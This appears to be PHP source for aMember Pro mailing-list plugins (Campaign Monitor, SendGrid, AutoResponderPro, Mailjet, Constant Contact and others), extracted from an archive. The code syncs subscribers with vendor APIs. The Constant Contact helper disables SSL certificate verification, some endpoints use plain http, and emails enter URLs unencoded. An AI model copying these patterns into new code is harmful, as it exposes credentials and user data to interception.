'Credits' => An in representing the number of credits to transfer. * This value may be either positive if you want to allocate credits * from your account to the client, or negative if you want to * deduct credits from the client back into your account. * 'CanUseMyCreditsWhenTheyRunOut' => A boolean value which if set * to true, will allow the client to continue sending using your * credits or payment details once they run out of credits, and if * set to false, will prevent the client from using your credits to * continue sending until you allocate more credits to them. * ) * @access public * @return CS_REST_Wrapper_Result A successful response will be an object * of the form: * { * 'AccountCredits' => Integer representing credits in your account now * 'ClientCredits' => Integer representing credits in this client's * account now * } */ function transfer_credits($transfer_data) { return $this->post_request($this->_clients_base_route.'credits.json', $transfer_data); } /** * returns the people associated with this client. * @return CS_REST_Wrapper_Result A successful response will be an object of the form * array({ * 'EmailAddress' => the email address of the person * 'Name' => the name of the person * 'AccessLevel' => the access level of the person * 'Status' => the status of the person * }) */ function get_people() { return $this->get_request($this->_clients_base_route.'people.json'); } /** * retrieves the email address of the primary contact for this client * @return CS_REST_Wrapper_Result a successful response will be an array in the form: * array('EmailAddress'=> email address of primary contact) */ function get_primary_contact() { return $this->get_request($this->_clients_base_route.'primarycontact.json'); } /** * assigns the primary contact for this client to the person with the specified email address * @param string $emailAddress the email address of the person designated to be the primary contact * @return CS_REST_Wrapper_Result a successful response will be an array in the form: * array('EmailAddress'=> email address of primary contact) */ function set_primary_contact($emailAddress) { return $this->put_request($this->_clients_base_route.'primarycontact.json?email=' . urlencode($emailAddress), ''); } } }PKq\/\3\3#campaignmonitor/campaignmonitor.phpnu[addText('api_key', array('class' => 'el-wide')) ->setLabel("Campaignmonitor API Key\n" . 'from your campaignmonitor account -> Account Settings -> API Key') ->addRule('required'); if($this->getConfig('api_key')) { $options = $this->getClientApiId(); $el = $form->addSelect('client_api_id') ->setLabel("Client API Id\n" . 'select your client which you will use with aMember') ->loadOptions($options); if($options) $el->addRule('required'); } $form->addTextarea('custom_fields', array('rows' => 5, 'cols' => 20)) ->setLabel("Additional Fields\n" . "campaignmonitor_field|amember_field\n" . "eg: FNAME|name_f\n" . "USERIP|remote_addr\n" . "ADDED|added\n" . "one link - one string\n" . "EmailAddress/Name - always present\n"); if($this->getConfig('api_key') && $this->getConfig('client_api_id') && $this->getDi()->plugins_misc->isEnabled('misc-campaignmonitor')) { $group = $form->addGroup()->setLabel('Activate Webhooks'); $group->addRule('callback2', '-error-', array($this, 'updateWebhooks')); foreach ($this->getLists() as $lId => $l) { $group->addAdvCheckbox("webhook_" . $lId) ->setContent('for ' . $l['title'] . '
    '); } } $form->addAdvCheckbox('debug_mode') ->setLabel("Debug Mode Enabled\n" . "write debug info to logs, it's recommended enable it at the first time"); } public function isConfigured() { return ($this->getConfig('api_key') && $this->getConfig('client_api_id')); } public function canGetLists() { if($this->getConfig('api_key') && $this->getConfig('client_api_id')) return parent::canGetLists(); } public function changeSubscription(User $user, array $addLists, array $deleteLists) { $this->debugLog("changeSubscription: user #{$user->pk()}; added:" . json_encode($addLists) . "; deleted:" . json_encode($deleteLists)); require_once 'lib/csrest_subscribers.php'; if($addLists) { $customFields = $this->getCustomFields($user); } foreach ($addLists as $listId) { $wrap = new CS_REST_Subscribers($listId, array('api_key' => $this->getConfig('api_key'))); $result = $wrap->add(array( 'EmailAddress' => $user->email, 'Name' => $user->getName(), 'Resubscribe' => true )); if(!empty($customFields)) { $result['CustomFields'] = $customFields; } if(!$result->was_successful()) throw new Am_Exception_InternalError("Cannot subscribe user {$user->email} by reason: {$result->http_status_code}"); } foreach ($deleteLists as $listId) { $wrap = new CS_REST_Subscribers($listId, array('api_key' => $this->getConfig('api_key'))); $result = $wrap->unsubscribe($user->email); if((!$result->was_successful()) && ($result->http_status_code != 400)) { $this->debugLog("changeSubscription: unsubscribe user #{$user->pk()} failed:" . json_encode($result)); throw new Am_Exception_InternalError("Cannot unsubscribe user {$user->email} by reason: {$result->http_status_code}"); } } return true; } public function changeEmail(User $user, $oldEmail, $newEmail) { $list_ids = $this->getDi()->newsletterUserSubscriptionTable->getSubscribedIds($user->pk()); $lists = array(); foreach ($this->getDi()->newsletterListTable->loadIds($list_ids) as $list) { if ($list->plugin_id != $this->getId()) continue; $lists[] = $list->plugin_list_id; } if(empty($lists)) return; require_once 'lib/csrest_subscribers.php'; $customFields = $this->getCustomFields($user); foreach ($lists as $listId) { $wrap = new CS_REST_Subscribers($listId, array('api_key' => $this->getConfig('api_key'))); $result = $wrap->update($oldEmail, array( 'EmailAddress' => $newEmail, 'Name' => $user->getName(), 'Resubscribe' => true )); if(!empty($customFields)) { $result['CustomFields'] = $customFields; } if(!$result->was_successful()) $this->debugLog("Cannot update email user $oldEmail/$newEmail by reason: {$result->http_status_code}"); } } public function onUserAfterUpdate(Am_Event_UserAfterUpdate $event) { $user = $event->getUser(); $oldUser = $event->getOldUser(); if($user->email != $oldUser->email) { return; } if($user->getName() != $oldUser->getName()) { $this->changeEmail($user, $user->email, $user->email); return; } $cfg = $this->getConfig('custom_fields'); if(!empty($cfg)) { foreach (explode("\n", str_replace("\r", "", $cfg)) as $str) { if(!$str) continue; list($k, $v) = explode("|", $str); if(!$v) continue; $v1 = $user->get($v); $v2 = $oldUser->get($v); $v3 = $user->data()->get($v); $v4 = $oldUser->data()->get($v); if( (($v1 || $v2) && $v1 != $v2) ||(($v3 || $v4) && $v3 != $v4) ){ $this->changeEmail($user, $user->email, $user->email); return; } } } } public function onUserBeforeDelete(Am_Event $event) { $user = $event->getUser(); $products = $user->getActiveProductIds(); if(!empty($products)) return; $list_ids = $this->getDi()->newsletterUserSubscriptionTable->getSubscribedIds($user->pk()); $lists = array(); foreach ($this->getDi()->newsletterListTable->loadIds($list_ids) as $list) { if ($list->plugin_id != $this->getId()) continue; $lists[] = $list->plugin_list_id; } if(empty($lists)) return; require_once 'lib/csrest_subscribers.php'; foreach ($lists as $listId) { $wrap = new CS_REST_Subscribers($listId, array('api_key' => $this->getConfig('api_key'))); $result = $wrap->get($user->email); if(!$result->was_successful()) continue; $result = $wrap->unsubscribe($user->email); if((!$result->was_successful()) && ($result->http_status_code != 400)) throw new Am_Exception_InternalError("Cannot unsubscribe user {$user->email} by reason: {$result->http_status_code}"); } $this->debugLog("onUserBeforeDelete: user #{$user->pk()} was unsubscribed from lists (" . json_encode($lists) . ")"); } public function getLists() { if (empty($this->cmListIds)) { require_once 'lib/csrest_clients.php'; $wrap = new CS_REST_Clients($this->getConfig('client_api_id'), array('api_key' => $this->getConfig('api_key'))); $result = $wrap->get_lists(); if(!$result->was_successful()) throw new Am_Exception_InputError("Bad API Key or Client API Id"); foreach ($result->response as $r) $this->cmListIds[$r->ListID] = array('title' => $r->Name); } return $this->cmListIds; } protected function getClientApiId() { require_once 'lib/csrest_general.php'; $wrap = new CS_REST_General(array('api_key' => $this->getConfig('api_key'))); $result = $wrap->get_clients(); if($result->was_successful()) { $res = array(); foreach ($result->response as $r) $res[$r->ClientID] = $r->Name; return $res; } $this->getDi()->errorLogTable->log('Campaignmonitor ERROR: Bad API Key'); } protected function getCustomFields(User $user) { $customFields = array(); $cfg = $this->getConfig('custom_fields'); if(!empty($cfg)) { foreach (explode("\n", str_replace("\r", "", $cfg)) as $str) { if(!$str) continue; list($k, $v) = explode("|", $str); if(!$v) continue; if(($value = $user->get($v)) || ($value = $user->data()->get($v))) { $customFields[$k] = $value; } } } return $customFields; } public function updateWebhooks($vars) { require_once 'lib/csrest_lists.php'; $listIds = array_keys($this->getLists()); $wh = array(); $whActive = array(); $whDeactive = array(); foreach ($listIds as $listId) { if($savedWh = $this->getDi()->store->get(self::CM_STORE_KEY_LIST . $listId)) { $wh[] = $savedWh; continue; } $wrap = new CS_REST_Lists($listId, array('api_key' => $this->getConfig('api_key'))); $result = $wrap->create_webhook(array( 'Events' => array(CS_REST_LIST_WEBHOOK_SUBSCRIBE, CS_REST_LIST_WEBHOOK_DEACTIVATE, CS_REST_LIST_WEBHOOK_UPDATE), 'Url' => $this->getDi()->url('misc/misc-' . $this->getId(),null,false,true), 'PayloadFormat' => CS_REST_WEBHOOK_FORMAT_JSON )); if($result->was_successful()) { $this->getDi()->store->set(self::CM_STORE_KEY_LIST . $listId, $result->response); $wh[] = $result->response; } else throw new Am_Exception_InternalError("Cannot create webhook for $listId by reason: {$result->http_status_code}"); } $this->debugLog("updateWebhooks: webhooks created " . join(',', $wh) ." for lists " . join(',', $listIds)); foreach ($vars as $k => $v) { if(!preg_match("/^newsletter.campaignmonitor.webhook_(.*)$/", $k, $match)) continue; $listId = $match[1]; $webhookId = $this->getDi()->store->get(self::CM_STORE_KEY_LIST . $listId); if($v) { if($this->getDi()->store->get(self::CM_STORE_KEY_WEBHOOK . $webhookId)) { $whActive[] = $webhookId; continue; } $wrap = new CS_REST_Lists($listId, array('api_key' => $this->getConfig('api_key'))); $result = $wrap->activate_webhook($webhookId); if($result->was_successful()) { $this->getDi()->store->set(self::CM_STORE_KEY_WEBHOOK . $webhookId, 1); $whActive[] = $webhookId; } else throw new Am_Exception_InternalError("Cannot activate webhook $webhookId for $listId by reason: {$result->http_status_code}"); } else { if(!$this->getDi()->store->get(self::CM_STORE_KEY_WEBHOOK . $webhookId)) { $whDeactive[] = $webhookId; continue; } $wrap = new CS_REST_Lists($listId, array('api_key' => $this->getConfig('api_key'))); $result = $wrap->deactivate_webhook($webhookId); if($result->was_successful()) { $this->getDi()->store->delete(self::CM_STORE_KEY_WEBHOOK . $webhookId); $whDeactive[] = $webhookId; } else throw new Am_Exception_InternalError("Cannot deactivate webhook $webhookId for $listId by reason: {$result->http_status_code}"); } } $this->debugLog("updateWebhooks: webhooks activated " . join(',', $whActive) ."; deactivated " . join(',', $whDeactive)); return null; } public function getReadme() { return <<getConfig('debug_mode')) $this->getDi()->errorLogTable->log(self::LOG_PREFIX_DEBUG . $log); } }PKq\QUU sendgrid3.phpnu[addPassword('api_key', array('size' => 40))->setLabel('SendGrid API Key' . "\n You can manage your API keys at Sendgrid -> Settings -> API keys"); $el->addRule('required'); $form->addAdvCheckbox('log')->setLabel(___('Log Requests')); } function isConfigured() { return $this->getConfig('api_key'); } function getAPI() { return new Am_Sendgrid_Api3($this); } public function getLists() { $api = $this->getApi(); $ret = array(); $lists = $api->get('lists'); foreach ($lists['lists'] as $l) $ret[$l['id']] = array( 'title' => $l['name'], ); return $ret; } public function changeSubscription(User $user, array $addLists, array $deleteLists) { $api = $this->getApi(); $contacts = $api->get('recipients/search?email=' . $user->email); $contact = @$contacts['recipients'][0]; if (!$contact) { $resp = $api->post('recipients', array(array( 'email' => $user->email, 'last_name' => $user->name_l, 'first_name' => $user->name_f ))); $contact['id'] = @$resp['persisted_recipients'][0]; } if (!isset($contact['id'])) return false; foreach ($addLists as $list_id) $resp = $api->post(sprintf("lists/%s/recipients", $list_id), array($contact['id'])); foreach ($deleteLists as $list_id) $resp = $api->delete(sprintf("lists/%s/recipients/%s", $list_id, $contact['id'])); return true; } } class Am_Sendgrid_Api3 extends Am_HttpRequest { /** @var Am_Newsletter_Plugin_Sendgrid */ protected $plugin; protected $vars = array(); // url params protected $params = array(); // request params\ const API_URL = 'https://api.sendgrid.com/v3/contactdb'; public function __construct(Am_Newsletter_Plugin_Sendgrid3 $plugin) { $this->plugin = $plugin; parent::__construct(); $this->setHeader('Authorization: Bearer ' . $this->plugin->getConfig('api_key')); } public function sendRequest($method, $params = array(), $httpMethod = 'POST') { $this->setHeader('Content-type', null); $this->setMethod($httpMethod); $log = 'SendGrid: '; $this->setUrl($url = self::API_URL . '/' . $method); $log .= $url; if ($params) { $this->setHeader('Content-Type: application/json'); $this->setBody(json_encode($params)); } else { $this->setBody(''); } $ret = parent::send(); if ($this->plugin->getConfig('log')) Am_Di::getInstance()->errorLogTable->log(sprintf("%s, method = %s, params=%s, status=%s, resp = %s", $log, $httpMethod, $this->getBody(), $ret->getStatus(), $ret->getBody())); if (!in_array($ret->getStatus(), array(200, 201, 204))) { throw new Am_Exception_InternalError("SendGrid API v3 Error:" . $ret->getBody()); } $body = $ret->getBody(); if (!$body) return array(); $arr = json_decode($body, true); if (!$arr) throw new Am_Exception_InternalError("SendGrid API v3 Error - unknown response [" . $ret->getBody() . "]"); if (@$arr['errors']) { Am_Di::getInstance()->errorLogTable->log("Sendgrid API v3 Error - [" . implode(', ', $arr['errors']) . "]"); return false; } return $arr; } function get($method) { return $this->sendRequest($method, array(), 'GET'); } function post($method, $data = array()) { return $this->sendRequest($method, $data, 'POST'); } function delete($method, $data = array()) { return $this->sendRequest($method, $data, 'DELETE'); } } PKq\<ڈυ%%autoresponderpro.phpnu[addText('username', array('class' => 'el-wide')) ->setLabel("Username\n" . 'The user name used to login to the AutoResponderPro Email Marketer') ->addRule('required'); $form->addText('usertoken', array('class' => 'el-wide')) ->setLabel("Token\n" . 'The unique token assigned to the user account used above') ->addRule('required'); $form->addAdvCheckbox('debuglog') ->setLabel("Debug logging\n" . 'Record debug information in the log'); } public function isConfigured() { return ($this->getConfig('username') && $this->getConfig('token') && $this->getConfig('listid')); } protected function getApi() { return new Am_Autoresponderpro_Api($this); } protected function getUserCustomFields(User $user) { $country = $this->getDi()->countryTable->findFirstByCountry($user->country); return array( 2 => $user->name_f, 3 => $user->name_, 4 => $user->phone, 8 => $user->city, 9 => $user->state, 10 => $user->zip, 11 => $country->alpha3, ); } public function changeSubscription(User $user, array $addLists, array $deleteLists) { $api = $this->getApi(); foreach ($addLists as $list_id) { $api->call( 'AddSubscriberToList', array( 'username' => $this->getConfig('username'), 'usertoken' => $this->getConfig('usertoken'), 'listId' => $list_id, 'email' => $user->email, 'user' => $this->getUserCustomFields($user) ) ); } foreach ($deleteLists as $list_id) { $api->call( 'DeleteSubscriber', array( 'username' => $this->getConfig('username'), 'usertoken' => $this->getConfig('usertoken'), 'listId' => $list_id, 'email' => $user->email ) ); } return true; } public function changeEmail(User $user, $oldEmail, $newEmail) { $ef = $this->getConfig('email_field', 'email'); $list_ids = $this->getDi()->newsletterUserSubscriptionTable->getSubscribedIds($user->pk()); $lists = array(); foreach ($this->getDi()->newsletterListTable->loadIds($list_ids) as $list) { if ($list->plugin_id != $this->getId()) continue; $lists[] = $list->plugin_list_id; } $user->set($ef, $oldEmail)->toggleFrozen(true); $this->changeSubscription($user, array(), $lists); // subscribe again $user->set($ef, $newEmail)->toggleFrozen(false); $this->changeSubscription($user, $lists, array()); } function onUserAfterUpdate(Am_Event_UserAfterUpdate $event) { $user = $event->getUser(); $list_ids = $this->getDi()->newsletterUserSubscriptionTable->getSubscribedIds($user->pk()); $api = $this->getApi(); foreach ($this->getDi()->newsletterListTable->loadIds($list_ids) as $list) { if ($list->plugin_id != $this->getId()) continue; $subscribers = $api->call( 'GetSubscribers', array( 'username' => $this->getConfig('username'), 'usertoken' => $this->getConfig('usertoken'), 'listId' => $list->plugin_list_id, 'email' => $user->email ) ); $api->call( 'SaveSubscriberCustomField', array( 'username' => $this->getConfig('username'), 'usertoken' => $this->getConfig('usertoken'), 'subscriberId' => $subscribers->data->subscriberlist->item->subscriberid, 'user' => $this->getUserCustomFields($user) ) ); } } // public function getLists() // { // $api = $this->getApi(); // $lists = array(); // $xml = $api->call( // 'GetLists', // array( // 'username' => $this->getConfig('username'), // 'usertoken' => $this->getConfig('usertoken') // ) // ); // foreach ($xml->data->item as $item) // { // $lists[(string)$item->listid] = array( // 'title' => (string)$item->name, // ); // } // return $lists; // } public function getReadme() { return <<AutoResponderPro Email Marketer plugin (works with autoresponderpro.it services) This module allows aMember Pro users to subscribe/unsubscribe from e-mail lists created in AutoResponderPro Email Marketer. To configure the module: - Fill needed fields (token can be requested from support by email) - click "Save" - at 'aMember CP -> Protect Content -> Newsletters', you will be able to define who and how can subscribe to your AutoResponderPro lists. You can create lists in http://autoresponderpro.it/email/admin/ ("manage lists" button) CUT; } } class Am_Autoresponderpro_Api extends Am_HttpRequest { protected $url = "http://autoresponderpro.it/email/xml.php"; protected $plugin; public function __construct(Am_Newsletter_Plugin_Autoresponderpro $plugin) { $this->plugin = $plugin; parent::__construct(); $this->setMethod(self::METHOD_POST); $this->setHeader('Content-type: text/xml; charset=utf-8'); $this->setUrl($this->url); } public function call($method, $vars) { $xml_out=$this->prepCall($method, $vars); $this->setBody($xml_out); $response = parent::send(); if ($response->getStatus() != '200') throw new Am_Exception_InternalError("AutoResponderPro API Error, is configured API is wrong"); $body = $response->getBody(); $xml = simplexml_load_string($body); if (!$xml) throw new Am_Exception_InternalError("AutoResponderPro API Error, returned not xml: $body. Method: [$method]"); if ($xml->status != 'SUCCESS') throw new Am_Exception_InternalError("AutoResponderPro API Error: $xml->errormessage. Method: [$method]"); if ($this->plugin->getConfig('debuglog')) { Am_Di::getInstance()->errorLogTable->log("AutoResponderPro-debug. XML-request:" .(string)$xml_out. ". XML-response: ".(string)$body); } return $xml; } protected function prepCall($method, $vars) { $xml = new SimpleXMLElement(''); $xml->{'username'} = $vars['username']; $xml->{'usertoken'} = $vars['usertoken']; $xml->{'requestmethod'} = $method; switch ($method){ case 'AddSubscriberToList': $xml->{'requesttype'} = 'subscribers'; $xml->{'details'}->{'emailaddress'} = $vars['email']; $xml->{'details'}->{'mailinglist'} = $vars['listId']; $xml->{'details'}->{'format'} = 'html'; $xml->{'details'}->{'confirmed'} = 'yes'; $i = 0; foreach ($vars['user'] as $key => $value) { if(!empty($value)){ $xml->{'details'}->{'customfields'}->{'item'}[$i]->{'fieldid'} = $key; $xml->{'details'}->{'customfields'}->{'item'}[$i]->{'value'} = $value; $i++; } } break; case 'DeleteSubscriber': $xml->{'requesttype'} = 'subscribers'; $xml->{'details'}->{'emailaddress'} = $vars['email']; $xml->{'details'}->{'listid'} = $vars['listId']; break; case 'GetLists': $xml->{'requesttype'} = 'lists'; $xml->{'details'} = true; break; case 'GetSubscribers': $xml->{'requesttype'} = 'subscribers'; $xml->{'details'}->{'searchinfo'}->{'List'} = $vars['listId']; $xml->{'details'}->{'searchinfo'}->{'Email'} = $vars['email']; break; case 'SaveSubscriberCustomField': $xml->{'requesttype'} = 'subscribers'; $xml->{'details'}->{'subscriberids'}->{'id'} = $vars['subscriberId']; $i = 0; foreach ($vars['user'] as $key => $value) { if(!empty($value)){ $xml->{'details'}->{'customfields'}->{'item'}[$i]->{'fieldid'} = $key; $xml->{'details'}->{'customfields'}->{'item'}[$i]->{'value'} = $value; $i++; } } break; default: throw new Am_Exception_InternalError("AutoResponderPro API Error: unknown method: $method"); break; } return $xml->asXML(); } }PKq\-H officeautopilot.phpnu[addPostParameter(array( 'appid' => $this->getConfig('app_id'), 'key' => $this->getConfig('app_key'), 'return_id' => 1, 'reqType' => $method, 'data' => $data )); $ret = $request->send(); if ($ret->getStatus() != '200') { throw new Am_Exception_InternalError("Officeautopilot API Error"); } $res = $ret->getBody(); if (preg_match("|(.*)|",$res,$r)) { throw new Am_Exception_InternalError("Officeautopilot API Error - unknown response [" . $r[1] . "]"); } return $res; } function _initSetupForm(Am_Form_Setup $form) { $form->addText('app_id', array('size' => 40))->setLabel('OfficeAutoPilot App ID')->addRule('required'); $form->addText('app_key', array('size' => 40))->setLabel('OfficeAutoPilot App KEY')->addRule('required'); } public function isConfigured() { return $this->getConfig('app_id') && $this->getConfig('app_key'); } public function getLists() { $res = array(); $xml = simplexml_load_string($this->sendRequest("","fetch_sequences")); foreach($xml->sequence as $s) $res[strval($s['id'])] = array('title' => strval($s)); return $res; } function get_user_xml(User $user,$lists,$id="") { $lists = '*/*'.implode('*/*',$lists).'*/*'; return " {$user->name_f} {$user->name_l} {$user->email} {$user->city} {$user->state} {$user->zip} {$user->country} {$user->street} $lists "; } public function changeSubscription(User $user, array $addLists, array $deleteLists) { $data= ' E-Maile '.$user->email.' '; $xml = simplexml_load_string($this->sendRequest($data,"search")); if($id = intval($xml->contact['id'])) { $sequences = ''; foreach($xml->contact->Group_Tag as $group_tag) if(strval($group_tag['name']) == 'Sequences and Tags') foreach($group_tag->field as $field) if(strval($field['name']) == 'Sequences') $sequences = strval($field); $lists = explode('*/*',$sequences); $lists = array_filter($lists); $lists = array_merge($lists, $addLists); $lists = array_diff($lists,$deleteLists); $lists = array_unique($lists); $res = $this->sendRequest($this->get_user_xml($user,$lists,$id),"update"); } else { $res = $this->sendRequest($this->get_user_xml($user,$addLists,''),"add"); } return true; } } PKq\yi8 8 aweber-email.phpnu[getDi()->mail; $mail->addTo($listId . '@aweber.com'); $mail->setSubject("aMember Pro v4 Subscribe Parser"); $mail->setBodyText( "SUBSCRIBE\n" . "Email: " . $user->email . "\n". "Name: " . $user->getName() . "\n". "Login: " . $user->login . "\n" ); $mail->send(); } foreach ($deleteLists as $listId) { $mail = $this->getDi()->mail; $mail->addTo($listId . '@aweber.com'); $why = ""; $mail->setSubject("REMOVE#".$user->email."#$why#".$listId); $mail->send(); } return true; } public function getReadme() { return <<www.aweber.com -> login -> My Lists -> Email Parser * Scroll down to "Custom Parsers" and click add new link * Fill in fields: Description: aMember Pro v4 Trigger Rule: Subject: aMember Pro v4 Subscribe Parser Rule 2: \n[>\s]*Email:\s+(.+?)\n Match: [Body] Store In: [Email] Rule 2: \n[>\s]*Name:\s+(.+?)\n Match: [Body] Store In: [Name] Check a checkbox "Enable parser for all lists in this account" and click "Save" button * Go to this setup page, and enable "Use E-Mail Parsers instead of API Calls", click "Save" CUT; } }PKq\Of f mailjet.phpnu[addText('apikey_public', array('class' => 'el-wide')) ->setLabel('API Public Key') ->addRule('required'); $form->addPassword('apikey_private', array('class' => 'el-wide')) ->setLabel('API Private Key') ->addRule('required'); } function isConfigured() { return $this->getConfig('apikey_public') && $this->getConfig('apikey_private'); } function getLists() { $resp = $this->doRequest('contactslist'); $ret = array(); foreach ($resp['Data'] as $l) { $ret[$l['ID']] = array('title' => $l['Name']); } return $ret; } function changeSubscription(User $user, array $addLists, array $deleteLists) { foreach ($addLists as $ID) { $this->doRequest("contactslist/{$ID}/managecontact", array( 'Email' => $user->email, 'Name' => $user->getName(), 'Action' => 'addforce' )); } foreach ($deleteLists as $ID) { $this->doRequest("contactslist/{$ID}/managecontact", array( 'Email' => $user->email, 'Name' => $user->getName(), 'Action' => 'remove' )); } return true; } function doRequest($method, $params = array()) { $req = new Am_HttpRequest(); $req->setAuth($this->getConfig('apikey_public'), $this->getConfig('apikey_private')); $req->setMethod($params ? 'POST' : 'GET'); $req->setUrl(self::API_URL . $method); if ($params) { $req->setHeader('Content-Type: application/json'); $req->setBody(json_encode($params)); } $resp = $req->send(); $this->log($req, $resp, $method); if (!$body = $resp->getBody()) return array(); return json_decode($body, true); } function log($req, $resp, $title) { if (!$this->_isDebug) return; $l = $this->getDi()->invoiceLogRecord; $l->paysys_id = $this->getId(); $l->title = $title; $l->add($req); $l->add($resp); } }PKq\V""smtp.phpnu[getDi()->hook->add(Am_Event::MAIL_SIMPLE_TEMPLATE_BEFORE_PARSE, array($this, 'onMailSimpleTemplateBeforeParse')); if ($this->isConfigured()) { $this->api = new SmtpApi($this->getConfig('api_key')); } } function _initSetupForm(\Am_Form_Setup $form) { $form->addText('api_key', array('size' => 80)) ->setLabel("API Key") ->addRule( 'regex', 'API key is 40 lowercase hexadecimal digits', '/^[a-z0-9]{40}$/'); } function isConfigured() { return $this->getConfig('api_key'); } function onMailSimpleTemplateBeforeParse(Am_Event $e) { /* @var $m Am_Mail */ $m = $e->getMail(); $header = array('unique_args' => array('CampaignID' => 'DDF38')); $m->addHeader('X-SMTPAPI', $header); $this->getDi()->errorLogTable->log(print_r($m->getHeaders(), 1)); } } class SmtpController extends Am_Mvc_Controller { /** @var SmtpApi Api */ private $api; function init() { //error_log('here'); $apiKey = $this->getDi()->config->get('newsletter.smtp.api_key'); $this->api = new SmtpApi($apiKey); } function notifyAction() { $request = $this->getDi()->request; $json = $request->getRawBody(); $arr = json_decode($json, true); $message = print_r($arr, 1); $this->getDi()->errorLogTable->log($message); } } class SmtpApi { const URL = 'http://sendapi.smtp.com/transsend/api/'; private $apiKey; public function __construct($key) { $this->apiKey = $key; } function send(array $vars) { $vars['ApiKey'] = $this->apiKey; $req = new Am_HttpRequest( self::URL . 'send', Am_HttpRequest::METHOD_POST); $req->addPostParameter($vars); //error_log(print_r($vars, 1)); return $req->send(); } }PKq\beeconstant-contact/cc_class.phpnu[login = $login; $this->password = $password; $this->apikey = $apikey; //when the object is getting initialized, the login string must be created as API_KEY%LOGIN:PASSWORD $this->requestLogin = $this->apikey."%".$this->login.":".$this->password; $this->apiPath = $this->apiPath.$this->login; } /** * Method that returns a list with all states found in states.txt file * @return array with state codes and state names */ public function getStates() { $returnArr = array(); $lines = file("states.txt"); foreach ($lines as $line) { $tmp = explode(" - ", $line); if (sizeof($tmp) == 2) { $returnArr[trim($tmp[1])] = trim($tmp[0]); } } return $returnArr; } /** * Returns a list with all countries found in countries.txt file * @return array with country codes and country names */ public function getCountries() { $returnArr = array(); $lines = file("countries.txt"); foreach ($lines as $line) { $tmp = explode(" - ", $line); if (sizeof($tmp) == 2) { $returnArr[trim($tmp[1])] = trim($tmp[0]); } } return $returnArr; } /** * Validate an email address * @return TRUE if address is valid and FALSE if not. */ protected function isValidEmail($email){ return eregi("^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,3})$", $email); } /** * Private function used to send requests to ConstantContact server * @param string $request - is the URL where the request will be made * @param string $parameter - if it is not empty then this parameter will be sent using POST method * @param string $type - GET/POST/PUT/DELETE * @return a string containing server output/response */ protected function doServerCall($request, $parameter = '', $type = "GET") { //echo $request; global $db; $ch = curl_init(); $request = str_replace('http://', 'https://', $request); // Convert id URI to BASIC compliant curl_setopt($ch, CURLOPT_URL, $request); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"); curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($ch, CURLOPT_USERPWD, $this->requestLogin); # curl_setopt ($ch, CURLOPT_FOLLOWLOCATION ,1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, Array("Content-Type:application/atom+xml", 'Content-Length: ' . strlen($parameter))); curl_setopt($ch, CURLOPT_FAILONERROR, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); switch ($type) { case 'POST': curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $parameter); break; case 'PUT': curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "PUT"); curl_setopt($ch, CURLOPT_POSTFIELDS, $parameter); break; case 'DELETE': curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "DELETE"); break; default: curl_setopt($ch, CURLOPT_HTTPGET, 1); break; } $emessage = curl_exec($ch); if(curl_errno($ch)) Am_Di::getInstance()->errorLogTable->log("CURL ERROR: (".curl_errno($ch).") - ".curl_error($ch)." URL:$request"); curl_close($ch); return $emessage; } } /** * Class that is used for retrieving * all the Email Lists from Constant Contact and * all Registered Email Addresses */ class CC_List extends CC_Utility { /** * Recursive Method that retrieves all the Email Lists from ConstantContact. * @param string $path [default is empty] * @return array of lists */ public function getLists($path = '') { $mailLists = array(); if ( empty($path)) { $call = $this->apiPath.'/lists'; } else { $call = $path; } $return = $this->doServerCall($call); $parsedReturn = simplexml_load_string($return); $call2 = ''; foreach ($parsedReturn->link as $item) { $tmp = $item->Attributes(); $nextUrl = ''; if ((string) $tmp->rel == 'next') { $nextUrl = (string) $tmp->href; $arrTmp = explode($this->login, $nextUrl); $nextUrl = $arrTmp[1]; $call2 = $this->apiPath.$nextUrl; break; } } foreach ($parsedReturn->entry as $item) { if ($this->contact_lists ){ if (in_array((string) $item->title, $this->contact_lists)) { $tmp = array(); $tmp['id'] = (string) $item->id; $tmp['title'] = (string) $item->title; $mailLists[] = $tmp; } } else if (!in_array((string) $item->title, $this->doNotIncludeLists)) { $tmp = array(); $tmp['id'] = (string) $item->id; $tmp['title'] = (string) $item->title; $mailLists[] = $tmp; } } if ( empty($call2)) { return $mailLists; } else { return array_merge($mailLists, $this->getLists($call2)); } } /** * Method that retrieves all Registered Email Addresses. * @param string $email_id [default is empty] * @return array of lists */ public function getAccountLists($email_id = '') { $mailAccountList = array(); if ( empty($email_id)) { $call = $this->apiPath.'/settings/emailaddresses'; } else { $call = $this->apiPath.'/settings/emailaddresses/'.$email_id; } $return = $this->doServerCall($call); $parsedReturn = simplexml_load_string($return); foreach ($parsedReturn->entry as $item) { $nextStatus = $item->content->Email->Status; $nextEmail = (string) $item->title; $nextId = $item->id; $nextAccountList = array('Email'=>$nextEmail, 'Id'=>$nextId); if($nextStatus == 'Verified'){ $mailAccountList[] = $nextAccountList; } } return $mailAccountList; } } /** * Class that is used for ConstantConact CRUD management */ class CC_Contact extends CC_Utility { /** * Method that checks if a subscriber already exist * @param string $email * @return subscriber`s id if it exists or false if it doesn't */ public function subscriberExists($email = '') { $call = $this->apiPath.'/contacts?email='.$email; $return = $this->doServerCall($call); $xml = simplexml_load_string($return); $id = $xml->entry->id; if($id){ return $id; } else { return false; } } /** * Method that retrieves from Constant Contact a collection with all the Subscribers * If email parameter is mentioned then only mentioned contact is retrieved. * @param string $email * @return Bi-Dimenstional array with information about contacts. */ public function getSubscribers($email = '', $page = '') { $contacts = array(); $contacts['items'] = array(); if (! empty($email)) { $call = $this->apiPath.'/contacts?email='.$email; } else { if (! empty($page)) { $call = $this->apiPath.$page; } else { $call = $this->apiPath.'/contacts'; } } $return = $this->doServerCall($call); $parsedReturn = simplexml_load_string($return); // We parse here the link array to establish which are the next page and previous page foreach ($parsedReturn->link as $item) { $attributes = $item->Attributes(); if (! empty($attributes['rel']) && $attributes['rel'] == 'next') { $tmp = explode($this->login, $attributes['href']); 